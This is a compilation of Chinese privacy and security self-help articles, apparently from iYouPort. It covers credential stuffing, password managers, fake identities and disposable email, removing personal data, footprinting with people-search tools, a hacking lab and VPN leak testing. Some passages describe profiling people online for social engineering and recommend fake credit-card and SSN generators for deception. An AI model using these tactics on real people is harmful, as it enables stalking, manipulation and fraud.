威胁建模涉及了解如果攻击者成功攻击您的某个资产，后果可能会有多糟糕。要确定这一点，您应该考虑对手的能力。例如，您的移动电话提供商可以访问您的所有电话记录，因此可以使用该数据；开放式 Wi-Fi 网络上的黑客可以访问您未加密的通信；政府可能有更强大的能力。

区分威胁和风险很重要。虽然威胁是可能发生的坏事，但风险是威胁发生的可能性。例如，您的住房可能会崩塌，但是在旧金山（地震很常见）比在斯德哥尔摩（几乎没有）的情况下发生这种情况的风险要大得多。

进行风险分析既是个人过程，也是主观过程；并非每个人都以相同的方式拥有相同级别的威胁。许多人发现某些威胁无论风险如何都是不可接受的，因为仅仅存在威胁就是可怕的。在其他情况下，人们可能忽视高风险，因为他们不认为威胁是个问题。

回答这个问题需要进行风险分析。例如，代表国家安全案件中的客户的律师可能愿意花更多的时间来保护关于该案件的通信，例如使用加密的电子邮件。再比如，微信的监控和审查是每个人面对的同样级别的威胁，但是五毛会忽略它，而任何拥有足够智商的人则必须重视它。

请记住，您的威胁模型可能会随着您的情况的变化而变化。因此，进行频繁更新的威胁建模评估是很好的做法。

根据您自己的独特情况创建自己的威胁模型。然后将日历标记为将来的日期。这将提示您检查您的威胁模型，并更新它，以评估它是否仍与您的情况贴合。〇

原文

什么是凭据填充攻击？以及如何保护自己 - iyouport

自我保护措施-技术技巧以防身

【2021年5月21日存档】数据泄露经常发生，无法避免；最重要的是，您需要随时保护自己，将可能的损失降到最低。

凭证填充攻击是一种网络攻击形式，涉及将偷来的凭证 “填充” 到多个网站。

像机器人这样的工具可以让攻击者进行自动填充，让他们可以在短时间内针对几十个网站测试数百万个登录凭证。以下是您需要知道的关于这种攻击的内容，尤其是，您可以保护自己的简单方法。

什么是凭证填充？

「图」

凭证填充是指将大量被盗的密码和用户名塞入多个网站。攻击者依靠在暗网上兜售的庞大的泄漏数据；他们的目标是利用以前泄露的数百万个登录名和用户名组合来渗透到其他网站。

攻击者之所以能成功，依赖的是一个普遍存在的人为错误 —— 即 在多个网站上使用相同的用户名和/或密码。根据研究，高达85%的用户在不同账户上循环使用密码。

而正是这种人为错误，让攻击者可以利用一个网站泄露的登录凭证进入其他网站和服务。

成功率相当低，只有0.1%到2%左右。这意味着，每测试一百万个登录凭证，只有大约1000个凭证可以用来进入其他网站。但是，让攻击者的努力变得值得的是，他们可以将每一个被他们成功渗透的账户变成收集数据的金矿。

假设他们设法入侵了大约1000个账户，这些账户都有银行信息或信用卡凭证，他们就可以抽走资金或利用这些信息进行其他形式的欺诈。其他个人身份信息(PII)，如 身份证号码或税务信息，可以用来实施犯罪，如身份盗窃 —— 就是用您的身份干坏事，让您背锅。

攻击者会将他们在每个账户中发现的任何信息货币化，这使得尽管登录凭证即便匹配率很低，攻击也是很值得的。

填充攻击是如何进行的？

「图」

当然，攻击者不会手动将偷来的登录凭证逐一输入不同的网站，因为他们需要数以百万计（甚至数十亿计）的偷来的登录凭证才值得进行攻击。

相反，这些泄露数据会被加载到僵尸网络中，发起自动登录尝试。然后，他们会使用进一步的工具来逃避检测。

一个僵尸网络每小时可以进行数千次登录尝试。例如，2016年的一次凭证填充攻击使用的僵尸网络，每小时在多个网站上发送超过27万次登录请求。

填充攻击如何逃避检测？

「图」

虽然许多网站使用安全措施来检测恶意登录尝试，但黑客已经找到了规避这些措施的方法。

一个代理列表被用来反弹请求，并掩盖源头，或者简单地说，使登录请求看起来像是来自不同的位置。他们还使用其他工具，使其看起来像是多次登录尝试来自不同的浏览器。

这样做的原因是，只来自一种类型的浏览器的多次登录尝试（例如，每小时一千次）看起来很可疑，并且有更大的机会被标记为欺诈。

所有这些技术都可以模仿不同地点的数千名用户的合法登录活动。这使得攻击向量变得简单，但却很难被发现。

凭证填充攻击和暴力攻击之间有什么区别？

「图」

凭证填充是暴力攻击的一种子类型，因为它更有针对性，所以更有效。

暴力攻击本质上是使用不同的随机字符组合来猜测密码。他们使用自动软件通过测试几种可能的组合进行多次猜测，直到发现密码。

另一方面，凭证填充使用以前数据泄露的登录细节和密码。他们使用一个网站泄露的密码-用户名对，然后在其他服务上进行测试。

虽然使用强大的密码可以保护您免受暴力攻击，但是，如果您在其他网站上使用相同的密码，当填充攻击发起时，您就会中招。

凭证填充和凭证转储有什么区别？

「图」

虽然看似相同，但凭证转储是一种不同类型的攻击，针对一个入口点或机器来渗透网络。

凭证填充使用以前泄露的多个登录凭证进入其他网站，而凭证转储则是进入一台机器并提取多个登录凭证。

这是通过访问计算机许多注册表中的凭证缓存或从安全帐户管理器（SAM）数据库中提取凭证来实现的。后者包含所有创建的帐户，密码保存为哈希值。

凭证转储攻击的目标是获得进入网络的立足点或进入系统中的其他计算机。在从一台机器上提取登录凭证后，攻击者可以重新进入设备或进入整个网络造成更大的破坏。

与填充不同的是，凭证转储攻击是利用一个入口，一台存在未修补漏洞的机器来渗透整个网络。

如何保护自己免于凭证填充攻击？

「图」

对于大多数用户来说，最好和最简单的保护自己的方法是对每个网站或账户使用独特的密码。至少，对于那些有您的敏感信息的网站，必

须要这样做。

启用双因素验证（2FA）或多因素验证（MFA）有助于使攻击者更难接管账户。

如果您发现记住多个密码和用户名很混乱，您可以使用一个可靠的密码管理器。如果您不确定它们的安全性，请查看下面的密码管理器使用的安全方法。

或者尝试一个开源的密码管理器。比如，KeePass Password Safe、Bitwarden、Passbolt、Psono、Teampass。

如何安全地使用密码管理器

「图」

密码管理器有几种，您可以对比一下根据您的具体情况选择。

1、离线密码管理器

「图」

在电脑上运行的密码管理器应用程序必须将您的密码保存在某个地方。一种方法是将这些信息放在电脑上的一个文件中。由于这个文件包含非常敏感的数据，任何一个像样的密码管理器都会确保对该文件进行加密。

加密后的数据并非无法完全破解，但对于大多数人来说，这是一项很难完成的任务。另外，它需要的时间真的很长。大多数盗贼不会费心费力去做这种事。即使是警察部门和政府间谍也会觉得这个任务非常艰巨。但只要有足够长的时间和非常大的意愿，还是可以做到的。

因此，虽然您的数据并非坚不可摧，但很可能是安全的，除非您做了一些惊天动地的事，让自己成为间谍和警察认为的“值得努力的目标”。

如何获取您的数据？最简单的方法是主密码。您的密码管理器会要求您创建一个解密文件所需的密码，就如一个金库，其中包含了您所有其他密码。

您可以通过要求提供密钥来使这个金库更难被破解，密钥是一个存在

于电脑或U盘等单独设备上的隐藏文件。

优点：

- 提供最大的控制力和灵活性
- 只有您知道您的数据存储在哪里

缺点：

- 可能需要更多的技术知识
- 最不适合多设备使用

📌 当您把所有的密码都放在一个地方时，您就创造了安全专家所说的单点故障。就如您把所有的现金都存放在一个金库里，那么有人只需要瞄准一个地方就可以拿走您的全部财产。如果您把密码存储在不止一个文件中，那么就会增加盗取您所有数据的工作量。

您可以通过加密并将每个密码存储在自己的文件中，使攻击企图更难完成。您可以使用Pass密码管理器来实现这一点。

离线密码管理器往往是免费使用的。有些可能有需要额外付费的功能。Enpass 是下面唯一有付费选项的。

Download: Keypass (免费)

Download: Password Safe (免费)

Download: Enpass (免费下载，应用内交易)

Download: Pass (免费)

2、在线密码管理器

「图」

密码管理器已经存在了很长时间，但在过去的十年里，人们上网的方式已经发生了变化。许多人不再有一台主要的电脑。现在的人们经常有许多设备，并且很可能从手机和笔记本电脑上登录自己的银行账户。

有了多种设备，密码管理器可能会带来挑战。如果您的口令都存储在一台电脑上，并且是随机生成的，您既不能在另一台设备上访问它

们，也难以记住它们来手动输入。在某些情况下，您可以同步您的密码，但如果不存在兼容的移动应用程序，您就麻烦了。

进入在线密码管理器。这些服务将您的凭证存储在网上，您可以从多个设备访问它们。

📌 但是，基于互联网的密码管理器有一个很大的漏洞。您的一切密码现在都可以在线获取。如果有人能够访问这些数据，他们就可以冒充您，控制您的账户，并窃取您的金钱和身份。这就像有人拿到您家的门钥匙、钱包和社保卡一样糟糕。

为了降低风险，服务会先对设备上的密码进行加密，然后再将数据上传到网上。但并不是所有的服务都以同样的方式处理和保护这些数据。如果您忘记了您的主密码，他们是否有能力重置您的主密码？他们是如何处理安全问题的？事先了解这一切。

为了方便起见，网站能够帮助您重新获取数据是很好的；但是，如果在该公司工作的人能够做到这一点，那就意味着入侵者也可以做到。这些公司还经常添加额外的功能来吸引用户，最终会让您的数据面临更大的风险，比如自动登录网站。

优点：

- 使用最简单
- 同步是自动的
- 支持最广泛的设备数量

缺点：

- 您的数据是在线存储的
- 一些便利的功能只会让您的安全感降低
- 许多功能都要花钱

在线密码管理器是最商业化的。虽然很多都是免费使用的，但它们通常会为付费用户保留某些功能。有些服务根本需要付费才能使用。

Download: LastPass (免费)

Download: Bitwarden (免费)

Download: Dashlane (免费)

Download: 1Password (免费下载，付费使用)

3、无状态密码管理器

「图」

即使有加密功能，使用上述任何一种方法都意味着创建一个以前不存在的密码记录。这不是您使用密码管理器可能承担的唯一风险。这样的因素会让人对使用密码管理器的想法特别反感。

但是，有一些密码管理器并没有将您的密码的加密副本到处乱放。取而代之的是，它们会根据简单、易记的变量生成密码。一种常见的方法是使用您的主密码和网站名称的组合来创建密码。

每次输入这些信息，您都会得到相同的密码。

即使攻击者知道您使用的是哪种程序和底层算法，他们仍然需要您的主密码、网站名称和密码的长度来复制您的安全密钥。另一方面，如果有人破解了一个账户，并找出了您的主密码，那么他们就有可能在不需要破解任何形式的金库的情况下，找出您所有的其他密码。

优点：

- 没有密码库需要保护
- 无需同步数据

缺点：

- 没有办法注意到有异常密码要求的网站
- 没有简单的方法来处理您不得不更改密码的网站。

无状态密码管理器往往是开源项目，您可以免费下载。

Download: PwdHash

Download: SuperGenPass

Download: LessPass

Download: HashPass

哪个密码管理器系统是最好的？

「图」

一个只存在于桌面上的密码管理器是很好的，但如果您采取快捷方式从手机或库登录，就可能会留下漏洞。在线密码管理器可能更方便、更直观，但您的密码还是在别人手里。您该怎么做呢？

没有所谓的完美安全。如果您是在最隐秘的条件下工作，也许应该选择保存单独的密码库，所有的关键文件都用不同的U盘来保护。听起来好像太麻烦了？即使您的技术经验仅限于知道如何使用电子邮件和社交媒体，您也可以很容易弄清楚 LastPass 或 1Password。

这些选项中的任何一个都比重复使用相同的几个密码更安全。一旦您开始使用密码管理器，就已经在反击攻击者了。〇

原文

伪装＋擦除 — — 在线隐身的重要步骤（少数派玩家） - iyouport

自我保护措施-技术技巧以防身

【2018年8月14日存档】我有个不太体面的副业，就是帮人泡妞。我的方法其实很简单，就是通过在线搜索以掌握目标对象的个人信息细节，然后基于这些信息利用社交工程学编排攻心剧本，基本上十拿九稳。幸亏我不是坏人，很多坏人都比我的技术更强大，也是为什么我们会不断提醒您加强自我保护。

「图」

本文继续介绍几个在线保护个人信息的方法。更多保护隐私的工具详见这里《安全手册》。

总会有人想要你的个人信息。不论是注册、购买服务还是申请会员，填写表格时伪装自己是很必要的，因为你不知道那些关于你的真实信息最终会被转几道手卖到谁的手里。

每个人都会化名，只是很多人的化名太糟糕了，比如原名叫张三，化名叫李四，这很难真的起到伪装的效果。在介绍 Tor 的文章中我们特意提到过一个要点：避免使用母语。你的语言习惯对于追踪你的人来说是一个缩小范围的绝佳指标，这里的逻辑也一样。

其实你完全可以伪装成任何一个国家的人，而且能迅速获得所有详细个人信息，包括出生年月、电话、银行卡号、地址和邮编、**UPS** 追踪号码、西联汇款 **MTCN**、全局唯一标识符**GUID……**等等，完全可以以假乱真。是不是很酷呢。

很简单就可以做到。这里有一个叫做“假名字生成器”的网站，可以满足你的需求。下图这个位置，你可以任意选择想用哪个国家的人名，以及目前希望自己在哪个国家，性别也是随便填的：

「图」

然后按 Generate，它会自动生成一整套个人信息，如下：

「图」

见上图，它还会生成一个电子邮件地址，并且是真实的，使用它代替常规电子邮件地址以避免垃圾邮件。收到电子邮件后，它会立即弹出一个页面。

很全面吧，骗人是足够用了。并且你还可以使用“高级选项”，手动调节你期待的年龄范围，和性取向偏好。就是下图这样，就如 Facebook 那种隐私黑洞一直想要吞噬更多的东西，就塞假的给它好啦。当然我们还是建议您 #deleteFacebook。

请记住自己的伪装身份！记住每一个细节，尤其是个人偏好、性取向、年龄段等等，在使用社交媒体时你应该确保自己展现出与伪装后完全相符的特征。我们曾经在线遇到过一位似乎是匿名的网友，也许是一个马甲账号，简介上写着“90后”，使用中文简体，结果他提出的第一个问题就明显不是中国90后的思考方式，这就等于白伪装了。

这里还有一些好玩的东西，比如 信用卡/ ACH 生成器、ABA /路由号码验证器 等等，想装美国人吗，这里有美国社会安全号码（SSN）生成器，想装英国人也行，有英国国民保险号码（NINO）生成器，还有 CA 社会保险号（SIN）生成器、车辆识别号码等。

要是你想一次性做一大堆假身份，可以使用这里“批量订购”。

如今，许多公司都会要求你至少提供电子邮件地址，结果就是你总会收到一大堆垃圾邮件，或者更糟糕的是，你的电子邮件会被出售给其他各种邮件列表。

使用一次性电子邮件地址是有意义的，至少在你选择信任一家公司足以向他们提供真实地址之前。我们会推荐一些免费的一次性邮件服务：

」 SpamGourmet 是一项免费服务，允许您创建无限数量的一次性电子邮件地址。只需要简短的设置工作，就可以创建这样的电子邮件：notreal.greyone@recursor.net

例如，假设一家名为“Strange Company”的在线商店询问你的电子邮

件地址，你就可以给他们这个地址：sc.greyone@recursor.net。其中“**sc**”这个位置可以是任何字母，为了方便，这里只是使用该商店的首字母。

这个一次性电子邮件地址会工作三次，电子邮件将转发到您的真实电子邮件地址。在三条消息之后，处理地址将停止工作。您还可以更改发送的电子邮件数量（有关详细信息请参阅 SpamGourmet 网站）。

这种技术也可以在线下生活中使用—基本上每当有人要求你提供电子邮件地址时，就把这个塞给他吧。

你也可以使用以下任何域名，而不仅仅是域名“recursor.net”：

- spamgourmet.net
- spamgourmet.org
- spamcannon.net
- antichef.com
- antichef.net
- neverbox.com
- dfgh.net
- spameater.org
- xoxy.net

」 Trashmail 的工作方式与 SpamGourmet 类似，但提供了更多的选项，例如 Web 界面，Firefox Add-On 以及此处列出的各种其他功能。还有一个付费的垃圾邮件服务，它是无广告的，为您提供更复杂的邮箱控制和在线支持。

目前有11个域名可用于 TrashMail：

- @ trashmail.net
- @ trashmail.me
- @ trashmail.at
- @ trash-mail.at
- @ rcpt.at
- @ kurzepost.de
- @ wegwerfmail.de
- @ wegwerfmail.net
- @ wegwerfmail.org
- @ objectmail.com
- @ proxymail.eu

另外 Mailinator.com 也是个不错的选择。它存储发送到其中的任何电子邮件（[any_email_address] @ mailinator.com），您可以在一小时左右从该站点中提取它。

其实最麻烦的是那些已经被收集了的信息。

美国有很多公司从公共记录和营销公司那里收集人们的个人信息，然后在方便的包装中转售。他们收集公共记录数据，如房地产交易、逮捕记录、法庭案件、婚姻、离婚等，并将其与从网页上收集的在线数据相结合。而且这些数据只需 3.95 美元即可购买！

要是想删除，你就需要付钱，很不公平是吧，他们收集的时候根本没经过你的允许。不过好在这些公司都比较好找，你可以提出申请然后交钱删除。而且这是个非常繁琐的工作，即便你全完成了也无法改变被政府控制的数据，你只能是让这些数据的获取变得麻烦一些。

在中国就不同了，你很可能根本不知道自己的个人信息掌握在谁手里，更不用说找回来。

不过中国人还是有另外一些办法限制个人数据被滥用的。比如在线的。

如果搜索某人的姓名，几乎可以在 Google 或其他搜索引擎上找到有关他们的惊人数量的信息。要删除此类信息通常很困难。除非在非常特殊的情况下，否则大多数对搜索引擎结果的更改请求都将被忽略。一般来说，搜索公司会告诉您接收托管相关网页的网站—他们建议您向托管网页的网站提交电子邮件或信件。实际上，这通常有可能是最简单的路径。

如果您有足够的资金，一家名为 Reputation 的公司能尝试为您删除任何不需要的搜索引擎结果。他们通过创建更讨人喜欢的网页，并尝试使其成为最佳结果来实现这一目标。他们的服务可不便宜哦—每年的价格在**3000**美元到**5000**美元左右！您现在知道数据有多值钱了？

还是自己动手吧。下面说说如何从 Google 删除个人信息。

你在互联网上投放的任何内容最终都有可能落在 Google 手里，是任何。也就是说任何人都有机会获取它们，所以你应该谨慎在互联网放东西。

」 Google 电话簿：Google 电话簿使用第三方数据填充其列表，在网络搜索的结果旁边有一个电话图标。你可以在这里要求不把自己的号

码列在里面。但即便从谷歌电话簿中删除了，你的电话号码也可能依旧会显示在 Google 搜索结果中，因为这些信息可能来自网页。

」 Google 地图： Google 地图也会使用第三方数据，有时会显示个人联系的详细信息以代替商家详细信息。如果您是经过验证的企业所有者，则可以更正此信息。如果其他企业显示了您的个人联系信息，您可以直接编辑信息或使用报告问题链接来请求更改。

」 Blogger： Blogger 是一个博客平台，因此 Google 通常不会从中移除内容。但是，您可以请求删除违反 Blogger 服务条款的内容。例如某人使用您的真实姓名冒充您，可以要求进行调查。

」 Google 街景： Google 街景视图显示地图相关数据（例如街道和商家）的照片，通常包括住宅、车辆和人员。谷歌有时候会试图模糊识别细节，例如面孔和车牌号码。您可以要求完全删除您的房屋和汽车的照片。只需转到 Google 地图并放大包含个人照片的区域即可。点击“报告问题”链接并选择“隐私问题。

事实上最麻烦的是社交网络，一切都是公开的，从注册到发帖都要非常小心。使用化名（回看本文第一部分）、避免在任何时候显示地理位置、避免谈论自己、发布任何照片抹去元数据，等等。使用多个电子邮件地址，把重要的和次要的分开，只用来注册帐户的邮件地址让它单独存在。

此外，Safe Shepard 是一项免费的服务，可以从各种“人物搜索”数据库（例如 PeekYou）中删除您的姓名；还有一个网站 Account Killer，提供了从绝大多数热门网站上删除个人信息的方法。

好啦，恭喜您完成我们的《隐身游戏》第一步，也是很重要的一步。要知道，在线数据信息是一个非常关键的参数，在现实生活中那些摄像头和生物识别技术很多依赖的就是在线生成的数据，政府当局也会参照这些数据以决定要不要瞄准您。

原文

你收到的是朋友发来的消息？那可不一定！小心新骗局 - iYouPort

自我保护措施-技术技巧以防身

你的朋友给你发了条短信， 但事后发现这条短信不是你朋友发的。这可能吗？安全研究人员Jordan Smith 称这是完全有可能的！他已经将其发现报告给了苹果和 Google。

「图」

「图」

攻击者所需要的是你安装了一个应用，这个应用获取了你的手机号码以及访问联系人列表，然后这些消息发送给攻击者，同时在联系人列表中添加了额外的号码。攻击者使用添加的号码给你发送了短信，其中包含了链接，如果你粗心大意，点击了链接，你就有可能被钓鱼了。

Google 将该问题标记为“不可行”，而苹果则表示此类行为能在应用审查阶段发现。Google 的应用审查流程是自动化的，而苹果则是人工。

iOS目前只指定一个联系人权限，同时授予读写权限。至少，分离这些权限似乎是合理的。记录每个应用程序的每个编辑也是合理的，可能允许某种反转或黑名单应用于恶意编辑的数字。很好的解决方案是做所有这些事，当第一次收到来自应用编辑号码的消息时，同时提供一个UI信号。

允许应用程序访问您的联系人意味着您对应用程序给予了很大的信任。在授予权限之前，请确保您对他们使用您的地址簿拥有完整的读取和写入权限感到满意……对于无法识别的发布商的小型应用最好不要给予它们这样的权限。大型的品牌应用程序不太可能执行所描述的恶意行为（我相信这在某种程度上是非法的）。

如前所述，苹果和谷歌都已收到通知。目前，我能给出的最佳建议

是：

确保您不允许应用访问您的联系人，除非他们来自可信的指定发布商。

与大多数内容网站不同，***IYP*** 没有付费墙、不会投放广告、也不会出卖您的信息；我们需要您的支持来获得生存。如果您觉得我们提供的内容对您有用，您可以帮助我们活下去。谢谢！***PayPal*** 和 比特币捐助通道已开通，您可以在网页上找到两个浅橙色按钮

原文

你的手机在监视你，你也可以监视它 - iYouPort

技术-攻击防御和反抗自我保护措施-技术技巧以防身

只要你开通了智能手机，不管你有没有让它这么做，它都可以和各种各样的公司进行沟通，其中许多公司你都不会知道他们是谁，以及会把你怎么样……要解决这个问题的方法是首先我们应该了解自己都被拿走了什么

你的手机和其他个人电子设备非常了解你。它们知道并且经常分享这些信息，例如你在哪里、你要去哪里、你是谁的朋友、你使用什么应用程序、你访问哪些网站、你多久访问一次、你给谁发电子邮件、你打电话给谁，等等等等。

所以要问一下，你知道自己的应用程序和设备正在分享哪些关于你的信息吗？和谁分享？我曾经以为我知道，但现在我不太确定了。

随着被揭露的信息越来越多地出现，我对自己所知道的——主要是关于我的哪些数据正在被记录下来，以及我的应用程序和设备正在分享哪些信息——的信心在缓慢但毫无疑问地下降。

随着越来越怀疑，我决定要确定我的设备实际上向外分享了什么。不只是觉得这是个不错的主意，而是真的去了解。所以我想出了一个计划来寻找答案，并且希望能获得大家的帮助。

计划是这样的

在大约一周的时间里，我将截取并记录从我最私人的两个与互联网连接的设备发送的每一点数据，这两个设备分别是我的手机和笔记本电脑。它将包括发送给世界各地公司的所有形式的个人信息。

如果你对这事感兴趣，你可以阅读以下关于具体如何操作的技术细节。

最后，我会得到类似这样的东西。

「图」

「图」

记录了数据之后就是仔细研究，看看我能找到什么。你也将有机会看到其中的一些数据（抱歉，不包括我的银行密码）。

为什么我们要关心这些？

大多数人永远都看不到他们手机数据被拿走了什么。要查起来并不容易，因为需要专业软件和一些技术知识。

于是，很多人只能假装信任科技公司不会做什么手脚。

而如今，这种信任越来越多地遭到了被背叛。最近几年，大大小小的公司一再背叛我们对它们的信任，比如，即使你关掉了谷歌的定位系统，谷歌也一直在对你跟踪定位。

- 延伸阅读：《可以采取哪些措施来阻止 Google 和其他人跟踪您的手机？》

你想知道什么？

在我已经看到的所有设置的数据中，已经有了一些发现。例如，你知道吗，每次你在 **iPhone** 上打开 **Safari** 时，书签中的任何网站都可以跟踪它？

尽管这样做是为了评估我们在智能手机、社交媒体和物联网时代的个人隐私，我还是真的很想与你交流一下。

你想知道什么？你对你的设备分享关于你的信息有什么担心吗？ 我想我会有以下发现：

- 大量询问：我想会有大量数据，我认为只有少数的询问是由我明确提出的。
- 大公司为主：我认为许多这些询问的信息将会与 Facebook、Google、Twitter、Apple 和 Microsoft 等大公司分享数据。
- 无法跟踪的询问：也将有大量数据发送给身份更加模糊的公司，其中许多公司可能难以识别。我预计这甚至对我来说也很困难，因为我是与这些数据相关的人。
- 一些公司会对我的网页浏览习惯有惊人的完整了解。

技术细节 如果你是技术控，以下参见如何操作的简短版本。事实上非常简单：

- 创建一个VPN，在整个数据收集期间用它来访问互联网。
- 这个 VPN 将通过运行 MITM 代理的独立虚拟机路由所有数据，MITM 代理是用于拦截、测试和分析 HTTP 请求的软件。
- 几乎每个请求(包括 HTTPS)的内容和其他请求数据都会被记录下来。

具体的设置方式在 GitHub 上有更多的细节。如果你真的感兴趣，可以自己试试。■

原文

你的足迹非常危险！ - iYouPort

你的反乌托邦在线生活阴云密布自我保护措施-技术技巧以防身

足迹可以向攻击者暴露形成组织安全状态的整体概况；

攻击者通常通过哪些步骤来获得目标的情报？

那些坏人是怎么做的？

⚠尤其重要的是：您应该从中学到防御方法！

「图」

「图」

想想看，如果你正在挑选一所大学或者一家公司准备应聘，那么你现在要做的是什么呢？没错，搜索他们，充分地利用一切你可以找到的信息来了解那所大学或公司的状况。

充分了解—— 事实上这就是攻击者首先要做的事，攻击者会尽可能搜集与你有关的一切信息，仔细分析这些信息，以便从中构建针对你最有效的攻击模式。

足迹可以向攻击者暴露形成组织安全状态的整体概况，如系统设计、network blocks 和网络上公开的信息等。攻击者通常通过以下一系列步骤获得目标的情报：

开源足迹—攻击者采取的第一步就是潜在目标的网站。然后，查找管理员的联系信息，这可能有助于猜测密码或进行社交工程攻击设计。

网络枚举—这是获取攻击者试图识别目标网络的域名和 network blocks 的信息的下一步。

扫描—一旦知道了 network blocks ，接下来就是监视目标网络上的活动 IP 地址。Internet 控制报文协议（ICMP）是识别活动IP地址的另一种选择。

搜索历史

在所有热门搜索引擎以及流行的社交网络平台上，每天都有数百万或数十亿的搜索。这些人究竟在寻找什么是我们关注的问题。有一些平台或工具可用于确定人们在这些搜索引擎上搜索的内容。

我们演示过浏览历史记录有多致命，详见《⚠ "浏览历史记录曝光你的内心全景图：#OSINT 开源调查演示"》

Pipl

当您访问 Pipl 时，您会发现这个搜索引擎不只是搜索这个web，而是搜索被称为隐形网络的区域。互联网上有一些隐藏的资源，普通搜索引擎因各种原因根本无法访问。其中一些包含个人信息，包含该信息的站点选择不被公共搜索引擎索引。

Pipl 则是不同的，因为它确实可以索引这些信息。

您可以添加的内容将决定搜索结果的准确程度。如果您只有一个名字，您可以获得有关该名字的任何人的任何信息；如果您可以添加更多内容，例如国家地区，则可以获得更具体的结果。所以，现在您知道实名制和诚实简介的可怕程度了？

Wink

Wink 使用常规搜索引擎以及社交社区、在线个人资料等搜索，您会发现重要的内容。Wink 只搜索已知信息，因此您输入的任何关键字必须是事实，例如您可以确定的生日或出生城市。

它不使用可能性。可能性只会混淆和限制您的结果。出于这个原因，**Wink** 对于那些了解他们想要找到的人的基本个人信息的攻击者特别有用。

——Virtual box for hacking——

这里是通过建立一个实验室来练习你的攻击技术的最简单、最快捷的方法，然后将它们带入现实世界，任何漏洞都可能是毁灭性的。

VMware Workstation 或 Box—下载

练习攻击的最佳方式是在虚拟环境中。从本质上讲，您设置了一个黑客系统，如 Kali Linux，以及一些可以利用的受害者。理想情况下，

您需要多个操作系统（Windows XP，Vista，7和8，以及 Linux / Unix）和应用程序，以便您可以尝试各种黑客攻击。

虚拟机和虚拟网络是建立黑客实验室的最佳和最安全的方式。有几种虚拟化系统，包括 Citrix，Oracle 的 Virtual Box，KVM，Microsoft 的 Virtual PC 和 Hyper-V，VMware 的工作站，VMware Box 和 ESXi。对于实验室环境，我强烈推荐 VMware 的工作站或 Box。

下载 **Kali VMware Images**—— 下载并安装虚拟化系统后，下一步是下载 Offensive Security 提供的 Kali VMware Images，您不必创建虚拟机，只需从 Workstation 或 Box 运行即可—这意味着一旦您下载了 Kali 的 VM，您就可以在 Workstation 或 Box 中使用它，而无需实际安装新的操作系统。

使用 **VMware** 打开—— 解压缩所有文件后，下一步就是打开这个新虚拟机。记下解压缩虚拟机映像的位置。然后，转到 VMware Workstation 或 Box，然后转到文件」创建新计算机」分配RAM和HDD空间」选择 ISO 文件并在 VMware 中安装新操作系统。

下载并安装目标—— 下一步，您需要下载并安装目标系统。当然，您可以使用主机 Windows 7或8系统，但由于这是练习，您可能希望使用较旧的，更容易破解的系统。此外，黑入您的系统可能会使其不稳定和损坏。

我建议安装 Windows XP，Vista，Server 2003 或旧版 Linux。这些系统有许多已知的安全漏洞，您可以用来练习，然后当您熟练掌握黑客攻击时，您就可以升级到 Windows 7和8以及更新版本的 Linux。

如果您或您的朋友没有这些旧操作系统的副本，您可以在互联网上的许多地方以非常便宜的价格购买它们。当然，您也可以在许多 torrent 网站上免费获得这些操作系统，但请注意..您可能不仅仅是下载了操作系统。很多时候，这些免费下载包括在您打开文件时嵌入系统的 rootkit。

下载旧应用程序—— 一旦安装了操作系统，通常需要在这些旧版本的 Windows 和 Linux 操作系统上运行应用程序。您可能需要浏览器，Office，Adobe 产品等。这些旧产品具有众所周知的安全漏洞，您可以磨练自己的技能。

Facebook

Facebook 是世界上最大的社交网络之一，每天在这个平台上有数亿人活动，使用 Facebook 作为一个非常有用的在线人物搜索工具是有道理的。

这个平台被世界上数十亿人使用，但只有少数人知道如何使用它。 你甚至可以通过它监视人们，找到作为艺术家、歌手、专业人士等职业的人，并带着你的目的联系他们。

Peekyou

PeekYou 是个很棒的体验，它允许您搜索各种社交网络中的用户名。PeekYou 认为自己是“最聪明人的在线搜索”。这是一个将来自世界各地的人们聚集在一起的网站。任何拥有 PeekYou profile 的人都可以帮助其他人找到他们的网站、照片、社交网页或他们在线提供过的任何其他联系信息。

LinkedIn

LinkedIn 是完全免费的，虽然它们有专业版，可以为您提供更多功能，比如可以看到曾经检查过您的个人资料的所有人，免费版本只显示最近的五个。但通常，如果您刚刚开始，免费版本就是您的最佳选择。如果你知道如何定位人们，**LinkedIn**可以成为你的金矿。

我们强调过在线简历有多可怕，最近有两亿中国人的简历在网上被泄漏，详见《别在网上找工作》；此外我们还演示过如何仅仅通过 Linkedin 开源信息挖掘政治旋转门，详见《深层政治：Facebook金字塔的人形肌理》，因为它真的非常有用。

请注意这不是在培养攻击者！因为只有您了解如何攻击，才能真正了解如何防御。所以，我们真的建议您体验一把做坏蛋的感觉。

The systematic foot printing of a organization permits attackers to form a whole profile of an organization’s security posture. Attackers gain intelligence of the target following a sequence of steps as:

与大多数内容网站不同，***IYP*** 没有付费墙、不会投放广告、也不会出卖您的信息；我们需要您的支持来获得生存。如果您觉得我们提供的内容对您有用，您可以帮助我们活下去。谢谢！***PayPal*** 和 比特币捐助通道已开通，您可以在网页上找到两个浅橙色按钮

原文

你认真考虑过 VPN 的安全吗 - iYouPort

自我保护措施-技术技巧以防身

如果用户没有正确设置或者以错误的方式使用它，那么“零日志”VPN 真的是毫无价值

「图」

「图」

数以百万计的人使用 VPN 服务来防止被外部人员监控浏览习惯或其他互联网流量的跟踪。选择一个好的和可靠的 VPN 提供商是一个正确的开始，但除此之外还有更多你需要注意的问题。很多事实显示，你有必要对自己选取的 VPN 负责。

近年来，由于安全漏洞和隐私泄漏，VPN 使用量大幅增加。虽然潜在的 VPN 用户非常重视 VPN 提供商在记录或泄漏保护方面的各种政策，但用户自己的责任往往完全被忽略。当出现各种用户信息泄漏时，比如 WebRTC，Ipv6，DNS 或 torrent 客户端，人们会很快地指责 VPN 提供商，尽管他们自己就可以轻松阻止问题。

当然，一个好的 VPN 提供商应该尽一切力量来防止泄漏。他们至少应该告知用户可能存在的风险。更好的是，他们应该定期测试漏洞。

尽管如此，VPN 用户本身也可以采取更主动的方式。问题是很多人不那么认真地对待自己的 VPN 安全。很多人认为注册了 VPN 服务就已经得到了完美的保护。除了检查 IP 地址是否改变之外，他们很少会花时间去确保整体的安全。

新注册 VPN 的用户应该做的是一系列 VPN 泄漏测试。不只是一个，但至少有一对。此外，应该在所有设备和所有使用的浏览器上重复测试，只是为了确保可靠。随着设备和应用程序的更迭，定期重做这些测试也很明智。如果有任何问题，不管 VPN 提供商是否提供帮助，你都应该及时修复它们。

